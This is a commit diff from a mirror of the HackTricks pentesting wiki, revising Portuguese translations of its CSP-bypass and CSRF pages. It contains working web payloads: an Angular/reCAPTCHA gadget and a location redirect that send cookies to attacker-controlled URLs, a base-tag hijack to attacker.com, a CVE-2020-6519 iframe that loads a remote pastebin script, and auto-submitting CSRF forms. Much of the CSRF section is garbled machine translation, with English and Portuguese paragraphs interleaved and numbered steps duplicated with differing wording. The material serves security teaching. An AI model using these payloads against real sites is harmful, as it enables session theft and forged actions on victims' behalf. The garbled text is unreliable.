Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-27 23:20:49 +00:00
Code Issues Projects Releases Packages Wiki Activity

Translated ['pentesting-web/content-security-policy-csp-bypass/README.md

Browse source
This commit is contained in:
Translator 2023-08-02 15:25:01 +00:00
parent c977a9316f
commit 58788eec6c
3 changed files with 235 additions and 187 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

53
pentesting-web/content-security-policy-csp-bypass/README.md
View file

@ -184,7 +184,7 @@ Além disso, mesmo que você consiga enviar um **código JS** dentro de um arqui
A partir daqui, se você encontrar um XSS e um upload de arquivo e conseguir encontrar uma **extensão interpretada erroneamente**, você pode tentar enviar um arquivo com essa extensão e o conteúdo do script. Ou, se o servidor estiver verificando o formato correto do arquivo enviado, crie um poliglota ([alguns exemplos de poliglotas aqui](https://github.com/Polydet/polyglot-database)).
### Pontos de Extremidade de Terceiros + ('unsafe-eval')
### Endpoints de Terceiros + ('unsafe-eval')
{% hint style="warning" %}
Para alguns dos payloads a seguir, **`unsafe-eval` nem é necessário**.
@ -243,6 +243,19 @@ A postagem mostra que você pode **carregar** todas as **bibliotecas** de `cdn.c
```
#### Explorando o código JS do Google reCAPTCHA
De acordo com [**este relatório de CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves), é possível explorar o [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) dentro de uma CSP para executar código JS arbitrário, burlando a CSP:
```html
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
### Pontos de Terceiros + JSONP
@ -304,7 +317,7 @@ Exemplo online: [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin
Se a diretiva **base-uri** estiver ausente, você pode abusar dela para realizar uma [**injeção de marcação pendente**](../dangling-markup-html-scriptless-injection.md).
Além disso, se a **página estiver carregando um script usando um caminho relativo** (como `/js/app.js`) usando um **Nonce**, você pode abusar da **tag base** para fazer com que ele **carregue** o script do **seu próprio servidor, alcançando um XSS.**\
Se a página vulnerável for carregada com **httpS**, use um URL httpS na base.
Se a página vulnerável for carregada com **httpS**, certifique-se de usar um URL httpS na base.
```html
<base href="https://www.attacker.com/">
```
@ -321,7 +334,7 @@ Dependendo da política específica, o CSP bloqueará eventos JavaScript. No ent
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Se a aplicação estiver usando angular JS e os scripts forem carregados de um domínio permitido. É possível contornar essa política CSP chamando funções de retorno e classes vulneráveis. Para mais detalhes, visite este incrível [repositório](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22) no git.
Se a aplicação estiver usando angular JS e os scripts forem carregados de um domínio permitido, é possível contornar essa política CSP chamando funções de retorno e classes vulneráveis. Para mais detalhes, visite este incrível [repositório](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22) no git.
Cargas úteis funcionais:
```html
@ -448,14 +461,36 @@ Esse ataque implicaria em alguma engenharia social onde o atacante **convence o
Para mais informações, [**verifique o relatório original aqui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### Bypassando CSP restringindo CSP
Neste [**writeup do CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), a CSP é burlada injetando dentro de um iframe permitido uma CSP mais restritiva que impedia o carregamento de um arquivo JS específico que, em seguida, por meio de **poluição de protótipo** ou **dom clobbering**, permitia **abusar de um script diferente para carregar um script arbitrário**.
Você pode **restringir uma CSP de um Iframe** com o atributo **`csp`**:
{% code overflow="wrap" %}
```html
<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
{% endcode %}
Neste [**writeup do CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), foi possível, através de **injeção de HTML**, **restringir** ainda mais um **CSP**, desabilitando um script que impedia CSTI e, portanto, tornando a **vulnerabilidade explorável**.\
CSP pode ser tornada mais restritiva usando **meta tags HTML** e scripts inline podem ser desabilitados **removendo** a **entrada** que permite seu **nonce** e **habilitando scripts inline específicos via sha**:
```html
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
```
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
A vulnerabilidade de bypass de CSP (Content Security Policy) no Google Chrome permite que um atacante execute código malicioso em um site, ignorando as restrições impostas pela política de segurança de conteúdo. Essa vulnerabilidade foi atribuída ao CVE-2020-6519.
```javascript
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
```
### Vazamento de Informações CSP + Iframe
Imagine uma situação em que uma **página está redirecionando** para uma **página diferente com um segredo dependendo** do **usuário**. Por exemplo, o usuário **admin** acessando **redirectme.domain1.com** é redirecionado para **adminsecret321.domain2.com** e você pode causar um XSS no admin.\
**Além disso, páginas que são redirecionadas não são permitidas pela política de segurança, mas a página que redireciona é.**
**Além disso, as páginas redirecionadas não são permitidas pela política de segurança, mas a página que redireciona é.**
Você pode vazar o domínio para onde o admin é redirecionado através de:
@ -464,7 +499,7 @@ Você pode vazar o domínio para onde o admin é redirecionado através de:
A violação de CSP é um vazamento instantâneo. Tudo o que precisa ser feito é carregar um iframe apontando para `https://redirectme.domain1.com` e ouvir o evento `securitypolicyviolation` que contém a propriedade `blockedURI` contendo o domínio do URI bloqueado. Isso ocorre porque o `https://redirectme.domain1.com` (permitido pelo CSP) redireciona para `https://adminsecret321.domain2.com` (**bloqueado pelo CSP**). Isso faz uso de um comportamento indefinido de como lidar com iframes com CSP. Chrome e Firefox se comportam de maneira diferente em relação a isso.
Quando você conhece os caracteres que podem compor o subdomínio secreto, você também pode usar uma busca binária e verificar quando o CSP bloqueou o recurso e quando não, criando diferentes domínios proibidos no CSP (neste caso, o segredo pode estar na forma doc-X-XXXX.secdrivencontent.dev)
Quando você conhece os caracteres que podem compor o subdomínio secreto, também pode usar uma busca binária e verificar quando o CSP bloqueou o recurso e quando não, criando diferentes domínios proibidos no CSP (neste caso, o segredo pode estar na forma doc-X-XXXX.secdrivencontent.dev)
```
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
@ -475,7 +510,7 @@ Truque da [**qui**](https://ctftime.org/writeup/29310).
**HackenProof é o lar de todas as recompensas por bugs de criptografia.**
**Seja recompensado sem atrasos**\
As recompensas do HackenProof são lançadas apenas quando seus clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.
As recompensas do HackenProof são lançadas apenas quando seus clientes depositam o orçamento de recompensa. Você receberá a recompensa depois que o bug for verificado.
**Adquira experiência em pentesting web3**\
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.
@ -520,11 +555,11 @@ Para mais informações sobre como realizar esse ataque, consulte [https://octag
## Bypasses de Exfiltração CSP
Se houver um CSP estrito que não permita que você **interaja com servidores externos**, há algumas coisas que você sempre pode fazer para exfiltrar as informações.
Se houver um CSP restrito que não permita que você **interaja com servidores externos**, existem algumas coisas que você sempre pode fazer para exfiltrar as informações.
### Location
Você pode simplesmente atualizar a localização para enviar ao servidor do atacante as informações secretas:
Você pode simplesmente atualizar a localização para enviar para o servidor do atacante as informações secretas:
```javascript
var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;
@ -616,6 +651,6 @@ Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leader
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

307
pentesting-web/csrf-cross-site-request-forgery.md
View file

@ -82,7 +82,7 @@ Isso também pode funcionar enviando o **parâmetro \_method dentro de uma solic
* _X-HTTP-Method_
* _X-HTTP-Method-Override_
* _X-Method-Override_
### Bypass personalizado de token de cabeçalho
### Bypass de token de cabeçalho personalizado
Se a solicitação estiver adicionando um **cabeçalho personalizado** com um **token** à solicitação como método de **proteção CSRF**, então:
@ -91,12 +91,12 @@ Se a solicitação estiver adicionando um **cabeçalho personalizado** com um **
### O token CSRF é verificado por um cookie
Em uma variação adicional da vulnerabilidade anterior, alguns aplicativos **duplicam cada token em um cookie e em um parâmetro de solicitação**. Ou o **configuram um cookie csrf** e **verificam no backend se o token csrf enviado é o relacionado ao cookie**.
Em uma variação adicional da vulnerabilidade anterior, alguns aplicativos **duplicam cada token em um cookie e em um parâmetro de solicitação**. Ou então, **definem um cookie csrf** e **verificam no backend se o token csrf enviado é o mesmo relacionado ao cookie**.
Quando a solicitação subsequente é validada, o aplicativo simplesmente verifica se o **token** enviado no **parâmetro de solicitação corresponde** ao valor armazenado pelo **cookie**.\
Nessa situação, o atacante pode novamente realizar um ataque CSRF **se o site conter alguma vulnerabilidade que permita que ele configure seu cookie CSRF para a vítima, como um CRLF**.
Nessa situação, o atacante pode novamente realizar um ataque CSRF **se o site conter alguma vulnerabilidade que permita que ele defina seu cookie CSRF para a vítima, como um CRLF**.
Nesse caso, você pode configurar o cookie tentando carregar uma imagem falsa e, em seguida, lançar o ataque CSRF, como neste exemplo:
Nesse caso, você pode definir o cookie tentando carregar uma imagem falsa e, em seguida, lançar o ataque CSRF, como neste exemplo:
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
@ -181,28 +181,17 @@ document.forms[0].submit();
</body>
</html>
```
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
### **Bypassando o método HEAD**
**HackenProof é o lar de todas as recompensas por bugs de criptografia.**
A primeira parte deste [**writeup do CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que no código-fonte do [Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), um roteador é configurado para **tratar as requisições HEAD como requisições GET** sem corpo de resposta - uma solução comum que não é exclusiva do Oak. Em vez de um manipulador específico para lidar com as requisições HEAD, elas são simplesmente **enviadas para o manipulador GET, mas o aplicativo remove o corpo de resposta**.
**Seja recompensado sem atrasos**\
As recompensas do HackenProof são lançadas apenas quando seus clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.
**Adquira experiência em pentesting web3**\
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.
**Torne-se uma lenda hacker web3**\
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.
[**Cadastre-se no HackenProof**](https://hackenproof.com/register) e comece a ganhar com seus hacks!
{% embed url="https://hackenproof.com/register" %}
Portanto, se uma requisição GET estiver sendo limitada, você pode simplesmente **enviar uma requisição HEAD que será processada como uma requisição GET**.
## **Exemplos de Exploração**
### **Exfiltrando o Token CSRF**
Se um **token CSRF** estiver sendo usado como **defesa**, você pode tentar **exfiltrá-lo** abusando de uma vulnerabilidade [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) ou uma vulnerabilidade [**Dangling Markup**](dangling-markup-html-scriptless-injection.md).
Se um **token CSRF** estiver sendo usado como **defesa**, você pode tentar **exfiltrá-lo** aproveitando uma vulnerabilidade de [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) ou uma vulnerabilidade de [**Dangling Markup**](dangling-markup-html-scriptless-injection.md).
### **GET usando tags HTML**
```markup
@ -232,28 +221,21 @@ document.forms[0].submit();
```
### Requisição POST de formulário
A técnica de Cross-Site Request Forgery (CSRF) explora a confiança que um site tem em um usuário autenticado para realizar ações indesejadas em seu nome. Uma das maneiras mais comuns de realizar um ataque CSRF é através de uma requisição POST de formulário.
A form POST request is a type of HTTP request that is used to submit data from an HTML form to a server. This type of request is commonly used in web applications to send user input data, such as login credentials or form submissions, to the server for processing.
#### Como funciona?
Uma requisição POST de formulário é um tipo de requisição HTTP que é usada para enviar dados de um formulário HTML para um servidor. Esse tipo de requisição é comumente usado em aplicações web para enviar dados de entrada do usuário, como credenciais de login ou envio de formulários, para o servidor para processamento.
1. O atacante cria uma página maliciosa contendo um formulário que realiza uma ação específica no site alvo, como alterar a senha do usuário.
2. O usuário autenticado visita a página maliciosa.
3. O formulário é automaticamente enviado para o site alvo, aproveitando a sessão autenticada do usuário.
4. O site alvo processa a requisição POST, acreditando que foi enviada pelo usuário legítimo.
5. A ação maliciosa é executada no site alvo, como alterar a senha do usuário.
To make a form POST request, the client sends an HTTP POST request to the server's endpoint, typically specified in the `action` attribute of the HTML form. The request includes the form data as key-value pairs in the request body.
#### Prevenção
Para fazer uma requisição POST de formulário, o cliente envia uma requisição HTTP POST para o endpoint do servidor, normalmente especificado no atributo `action` do formulário HTML. A requisição inclui os dados do formulário como pares de chave-valor no corpo da requisição.
Existem várias medidas que podem ser tomadas para prevenir ataques CSRF:
The server receives the form data and processes it according to the application's logic. This can involve storing the data in a database, performing calculations, or generating a response to be sent back to the client.
- Utilizar tokens CSRF: Adicionar um token único e secreto em cada formulário e verificar sua validade no processamento da requisição POST.
- Verificar a origem da requisição: Validar o cabeçalho "Referer" ou "Origin" para garantir que a requisição venha de um site confiável.
- Implementar políticas de SameSite: Configurar cookies com a opção "SameSite" para restringir o envio de cookies em requisições de terceiros.
- Utilizar cabeçalhos de proteção: Configurar cabeçalhos HTTP como "X-Requested-With" ou "Content-Type" para evitar requisições maliciosas.
O servidor recebe os dados do formulário e os processa de acordo com a lógica da aplicação. Isso pode envolver armazenar os dados em um banco de dados, realizar cálculos ou gerar uma resposta para ser enviada de volta ao cliente.
#### Conclusão
It's important to note that form POST requests can be vulnerable to Cross-Site Request Forgery (CSRF) attacks if proper security measures are not in place. CSRF attacks occur when an attacker tricks a user into unknowingly submitting a form on a trusted website, leading to unintended actions being performed on the user's behalf.
A técnica de CSRF é uma ameaça séria à segurança dos aplicativos web. É importante que os desenvolvedores implementem medidas de prevenção adequadas para proteger seus usuários contra esse tipo de ataque.
É importante observar que as requisições POST de formulário podem ser vulneráveis a ataques de Cross-Site Request Forgery (CSRF) se as medidas de segurança adequadas não forem implementadas. Os ataques CSRF ocorrem quando um atacante engana um usuário a enviar um formulário em um site confiável, levando a ações não intencionais sendo executadas em nome do usuário.
```markup
<html>
<body>
@ -271,20 +253,25 @@ document.forms[0].submit(); //Way 3 to autosubmit
```
### Requisição POST de formulário por meio de iframe
Uma técnica comum para realizar um ataque de falsificação de solicitação entre sites (CSRF) é enviar uma requisição POST de formulário por meio de um elemento `<iframe>`. Isso permite que um invasor engane o navegador do usuário para que ele envie uma solicitação não autorizada em nome do usuário autenticado.
To perform a Cross-Site Request Forgery (CSRF) attack using an iframe, you can create a hidden iframe on a malicious website that targets a vulnerable website.
O processo geral para realizar esse ataque é o seguinte:
Para realizar um ataque de Cross-Site Request Forgery (CSRF) usando um iframe, você pode criar um iframe oculto em um site malicioso que visa um site vulnerável.
1. O invasor cria um site malicioso que contém um formulário HTML.
2. O formulário é configurado para enviar uma requisição POST para o alvo desejado.
3. O invasor incorpora o formulário em uma página legítima usando um elemento `<iframe>`.
4. Quando um usuário visita a página legítima, o formulário é carregado no `<iframe>`.
5. O navegador do usuário envia automaticamente a requisição POST para o alvo desejado, incluindo quaisquer cookies de autenticação válidos.
6. O alvo processa a requisição como se fosse legítima, pois não pode distinguir entre uma solicitação enviada pelo usuário ou por um atacante.
The iframe should contain a form with the necessary input fields and a JavaScript code that automatically submits the form when the iframe loads.
Para se proteger contra ataques CSRF, é recomendado implementar medidas de segurança, como o uso de tokens CSRF, que são valores únicos gerados pelo servidor e incluídos em cada formulário. Esses tokens são verificados pelo servidor para garantir que a solicitação seja legítima e não tenha sido gerada por um atacante.
O iframe deve conter um formulário com os campos de entrada necessários e um código JavaScript que envia automaticamente o formulário quando o iframe é carregado.
É importante estar ciente dessa técnica de ataque e tomar as medidas adequadas para proteger os aplicativos da web contra ataques CSRF.
When a user visits the malicious website, the iframe is loaded in the background, and the form is submitted without the user's knowledge.
Quando um usuário visita o site malicioso, o iframe é carregado em segundo plano e o formulário é enviado sem o conhecimento do usuário.
This can be used to perform actions on the vulnerable website on behalf of the user, such as changing their password, making purchases, or performing any other action that the user is authorized to do.
Isso pode ser usado para realizar ações no site vulnerável em nome do usuário, como alterar sua senha, fazer compras ou executar qualquer outra ação para a qual o usuário esteja autorizado.
To protect against CSRF attacks, websites should implement measures such as using anti-CSRF tokens, checking the referrer header, and implementing strict access controls.
Para se proteger contra ataques CSRF, os sites devem implementar medidas como o uso de tokens anti-CSRF, verificação do cabeçalho do referenciador e implementação de controles de acesso rigorosos.
```markup
<!--
The request is sent through the iframe withuot reloading the page
@ -308,11 +295,11 @@ Uma requisição POST Ajax é uma técnica usada para enviar dados para um servi
A requisição POST Ajax é frequentemente usada em ataques de falsificação de solicitação entre sites (CSRF), onde um invasor engana um usuário autenticado a executar ações indesejadas em um site sem o seu conhecimento.
Durante um ataque CSRF, o invasor cria um formulário malicioso em um site controlado por ele e o envia para a vítima. Quando a vítima visita o site malicioso, o formulário é automaticamente enviado para o site alvo, aproveitando a sessão autenticada da vítima. Isso permite que o invasor execute ações em nome da vítima, como fazer uma transferência de fundos, alterar senhas ou excluir dados.
Durante um ataque CSRF, o invasor cria um formulário malicioso em um site controlado por ele e o envia para a vítima. Quando a vítima visita o site malicioso, o formulário é automaticamente enviado para o site alvo, aproveitando a sessão autenticada da vítima. Isso permite que o invasor execute ações em nome da vítima, como fazer uma transferência de fundos, alterar senhas, entre outros.
Para se proteger contra ataques CSRF, os desenvolvedores devem implementar medidas de segurança, como tokens CSRF, que são valores únicos gerados pelo servidor e incluídos em formulários ou cabeçalhos de solicitação. O servidor verifica se o token é válido antes de processar a solicitação.
Para se proteger contra ataques CSRF, é recomendado implementar medidas como o uso de tokens CSRF, que são valores únicos gerados pelo servidor e incluídos em formulários ou cabeçalhos de solicitação. O servidor verifica se o token enviado corresponde ao esperado, rejeitando a solicitação se não houver correspondência.
Os testadores de penetração podem explorar vulnerabilidades de CSRF em um site para demonstrar a sua existência e fornecer recomendações para corrigi-las.
É importante estar ciente dos riscos associados a ataques CSRF e implementar as devidas medidas de segurança para proteger os aplicativos web contra essa ameaça.
```markup
<script>
var xh;
@ -341,35 +328,17 @@ data: "param=value&param2=value2"
```
### Requisição POST multipart/form-data
A requisição POST multipart/form-data é um tipo de requisição utilizada para enviar dados binários ou arquivos para um servidor. É comumente utilizada em formulários de upload de arquivos.
A requisição POST multipart/form-data é um tipo de requisição utilizada para enviar dados binários, como arquivos, através de um formulário HTML. Essa técnica é comumente utilizada em aplicações web para o envio de arquivos de imagem, áudio, vídeo, entre outros.
Nessa requisição, os dados são enviados no corpo da requisição em um formato especial, onde cada campo é separado por um delimitador e possui um cabeçalho indicando o tipo de conteúdo. Isso permite que diferentes tipos de dados sejam enviados simultaneamente.
Nesse tipo de requisição, os dados são divididos em várias partes, cada uma com seu próprio cabeçalho e conteúdo. Cada parte é separada por um delimitador, que é especificado no cabeçalho da requisição.
Para realizar uma requisição POST multipart/form-data, é necessário definir o cabeçalho `Content-Type` como `multipart/form-data` e montar o corpo da requisição de acordo com o formato especificado.
Para realizar uma requisição POST multipart/form-data, é necessário utilizar um cliente HTTP, como o cURL ou o Postman. O corpo da requisição deve conter as partes separadas pelo delimitador, e cada parte deve conter um cabeçalho Content-Disposition para indicar o nome do campo e o nome do arquivo, se aplicável.
Exemplo de requisição POST multipart/form-data:
Essa técnica pode ser explorada em testes de segurança, como testes de penetração, para verificar se a aplicação web está vulnerável a ataques de Cross-Site Request Forgery (CSRF). O CSRF é um tipo de ataque em que um invasor engana o usuário para que ele execute ações indesejadas em um site no qual ele está autenticado.
```http
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=---------------------------1234567890
Durante um teste de penetração, é possível enviar uma requisição POST multipart/form-data maliciosa para executar ações indesejadas em nome do usuário autenticado, como alterar informações pessoais, fazer compras ou até mesmo excluir dados importantes.
-----------------------------1234567890
Content-Disposition: form-data; name="file"; filename="example.jpg"
Content-Type: image/jpeg
[conteúdo binário do arquivo]
-----------------------------1234567890
Content-Disposition: form-data; name="description"
Descrição do arquivo
-----------------------------1234567890--
```
Nesse exemplo, a requisição é enviada para o endpoint `/upload` do servidor `example.com`. O corpo da requisição contém dois campos: `file` e `description`. O campo `file` contém um arquivo com o nome `example.jpg` e o campo `description` contém uma descrição do arquivo.
É importante ressaltar que a requisição POST multipart/form-data é vulnerável a ataques de Cross-Site Request Forgery (CSRF), onde um atacante pode forjar uma requisição em nome do usuário autenticado. Portanto, é recomendado implementar mecanismos de proteção, como tokens CSRF, para mitigar esse tipo de ataque.
Para proteger uma aplicação web contra ataques CSRF, é recomendado utilizar mecanismos de proteção, como tokens CSRF, que são gerados pelo servidor e incluídos em formulários ou cabeçalhos de requisição. Esses tokens são verificados pelo servidor para garantir que a requisição seja legítima e não provenha de um ataque CSRF.
```javascript
myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
@ -424,37 +393,41 @@ Cross-Site Request Forgery (CSRF) é um ataque que engana a vítima a enviar uma
6. Quando a vítima enviar o formulário, o navegador enviará automaticamente a requisição POST multipart/form-data para o site alvo, executando a ação sensível.
7. The target website will process the request, considering it legitimate since it came from the victim's browser with valid authentication cookies.
7. The target website will process the request, thinking it was initiated by the victim, since the request includes the victim's session cookies.
7. O site alvo processará a requisição, considerando-a legítima, uma vez que veio do navegador da vítima com cookies de autenticação válidos.
7. O site alvo processará a requisição, pensando que foi iniciada pela vítima, uma vez que a requisição inclui os cookies de sessão da vítima.
8. The sensitive action will be performed on behalf of the victim without their knowledge or consent.
8. The sensitive action will be performed without the victim's consent or knowledge.
8. A ação sensível será realizada em nome da vítima sem o seu conhecimento ou consentimento.
8. A ação sensível será executada sem o consentimento ou conhecimento da vítima.
#### Mitigating CSRF Attacks
#### Mitigating CSRF vulnerabilities
#### Mitigando Ataques CSRF
#### Mitigando vulnerabilidades de CSRF
To mitigate CSRF attacks, web developers can implement the following measures:
To mitigate CSRF vulnerabilities, consider implementing the following measures:
Para mitigar ataques CSRF, os desenvolvedores web podem implementar as seguintes medidas:
Para mitigar vulnerabilidades de CSRF, considere implementar as seguintes medidas:
1. Implement CSRF tokens: Include unique tokens in each form or action that require user authentication. These tokens should be validated on the server-side to ensure that the request is legitimate.
1. Implement CSRF tokens: Include unique tokens in each form or action that performs sensitive actions. Verify the token on the server-side to ensure that the request is legitimate.
1. Implemente tokens CSRF: Inclua tokens únicos em cada formulário ou ação que exija autenticação do usuário. Esses tokens devem ser validados no lado do servidor para garantir que a requisição seja legítima.
1. Implemente tokens de CSRF: Inclua tokens únicos em cada formulário ou ação que execute ações sensíveis. Verifique o token no lado do servidor para garantir que a requisição seja legítima.
2. Use the SameSite attribute: Set the SameSite attribute to "Strict" or "Lax" on cookies to prevent them from being sent in cross-origin requests.
2. Use SameSite cookies: Set the SameSite attribute to "Strict" or "Lax" for cookies to prevent them from being sent in cross-origin requests.
2. Use o atributo SameSite: Defina o atributo SameSite como "Strict" ou "Lax" nos cookies para evitar que sejam enviados em requisições de origem cruzada.
2. Use cookies SameSite: Defina o atributo SameSite como "Strict" ou "Lax" para cookies, para evitar que sejam enviados em requisições de origem cruzada.
3. Implement CAPTCHAs: Use CAPTCHAs to verify that the request is being made by a human and not an automated script.
3. Implemente CAPTCHAs: Use CAPTCHAs para verificar se a requisição está sendo feita por um humano e não por um script automatizado.
By implementing these measures, web developers can significantly reduce the risk of CSRF attacks on their websites.
4. Educate users: Train users to be cautious when clicking on links or submitting forms, especially when they are not familiar with the website.
Ao implementar essas medidas, os desenvolvedores web podem reduzir significativamente o risco de ataques CSRF em seus sites.
4. Eduque os usuários: Treine os usuários para serem cautelosos ao clicar em links ou enviar formulários, especialmente quando não estão familiarizados com o site.
By implementing these measures, you can significantly reduce the risk of CSRF attacks on your website.
Ao implementar essas medidas, você pode reduzir significativamente o risco de ataques de CSRF em seu site.
```javascript
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
@ -473,23 +446,38 @@ body += "--" + boundary + "--";
//xhr.send(body);
xhr.sendAsBinary(body);
```
### Solicitação POST de formulário de dentro de um iframe
### Requisição POST de formulário de dentro de um iframe
When an HTML form is submitted, the browser sends a POST request to the specified URL. This behavior can be exploited in a Cross-Site Request Forgery (CSRF) attack when an attacker tricks a user into submitting a form without their knowledge or consent.
When an HTML form is submitted, the browser sends a POST request to the specified URL. This behavior can be exploited in a Cross-Site Request Forgery (CSRF) attack when the form is submitted from within an iframe.
Quando um formulário HTML é enviado, o navegador envia uma solicitação POST para a URL especificada. Esse comportamento pode ser explorado em um ataque de falsificação de solicitação entre sites (CSRF) quando um invasor engana um usuário para enviar um formulário sem o seu conhecimento ou consentimento.
Quando um formulário HTML é enviado, o navegador envia uma requisição POST para a URL especificada. Esse comportamento pode ser explorado em um ataque de Cross-Site Request Forgery (CSRF) quando o formulário é enviado de dentro de um iframe.
To execute a CSRF attack from within an iframe, the attacker can create a hidden form on their malicious website. This form can be automatically submitted using JavaScript, without the user's interaction. By embedding this iframe in a legitimate website, the attacker can trick the user's browser into sending the form data to the target website.
To perform a CSRF attack using an iframe, an attacker can create a webpage with an iframe that loads the target website's form. The attacker can then submit the form automatically using JavaScript.
Para executar um ataque CSRF de dentro de um iframe, o invasor pode criar um formulário oculto em seu site malicioso. Este formulário pode ser enviado automaticamente usando JavaScript, sem a interação do usuário. Ao incorporar esse iframe em um site legítimo, o invasor pode enganar o navegador do usuário para enviar os dados do formulário para o site alvo.
Para realizar um ataque CSRF usando um iframe, um atacante pode criar uma página da web com um iframe que carrega o formulário do site alvo. O atacante pode então enviar o formulário automaticamente usando JavaScript.
To prevent CSRF attacks, web developers can implement countermeasures such as using anti-CSRF tokens. These tokens are unique values generated by the server and included in the form. When the form is submitted, the server verifies the token to ensure that the request is legitimate.
Here's an example of how the attack can be executed:
Para prevenir ataques CSRF, os desenvolvedores web podem implementar contramedidas, como o uso de tokens anti-CSRF. Esses tokens são valores únicos gerados pelo servidor e incluídos no formulário. Quando o formulário é enviado, o servidor verifica o token para garantir que a solicitação seja legítima.
Aqui está um exemplo de como o ataque pode ser executado:
By validating the origin of the request and implementing proper security measures, web applications can protect against CSRF attacks and ensure the integrity of user data.
```html
<iframe id="csrf-frame" src="https://target-website.com/form"></iframe>
<script>
window.onload = function() {
var frame = document.getElementById('csrf-frame');
var form = frame.contentDocument.forms[0];
form.submit();
};
</script>
```
Ao validar a origem da solicitação e implementar medidas de segurança adequadas, as aplicações web podem se proteger contra ataques CSRF e garantir a integridade dos dados do usuário.
In this example, the attacker's webpage contains an iframe that loads the target website's form. The JavaScript code automatically submits the form as soon as the iframe is loaded.
Neste exemplo, a página da web do atacante contém um iframe que carrega o formulário do site alvo. O código JavaScript envia automaticamente o formulário assim que o iframe é carregado.
By tricking a victim into visiting the attacker's webpage, the form submission will occur without the victim's knowledge or consent. This can lead to unauthorized actions being performed on the victim's behalf.
Ao enganar uma vítima para visitar a página da web do atacante, o envio do formulário ocorrerá sem o conhecimento ou consentimento da vítima. Isso pode levar a ações não autorizadas sendo realizadas em nome da vítima.
```markup
<--! expl.html -->
@ -580,30 +568,40 @@ getTokenJS();
```
### **Roubar o Token CSRF e enviar uma solicitação Post usando um iframe, um formulário e Ajax**
Uma técnica comum de ataque CSRF (Cross-Site Request Forgery) envolve roubar o token CSRF de um usuário e usá-lo para enviar uma solicitação POST maliciosa em seu nome. Isso pode ser feito usando um iframe, um formulário ou Ajax.
Uma técnica comum de ataque CSRF (Cross-Site Request Forgery) envolve roubar o token CSRF de um usuário e usá-lo para enviar uma solicitação POST maliciosa em seu nome. Isso pode ser feito usando um iframe, um formulário oculto e Ajax.
#### Usando um iframe:
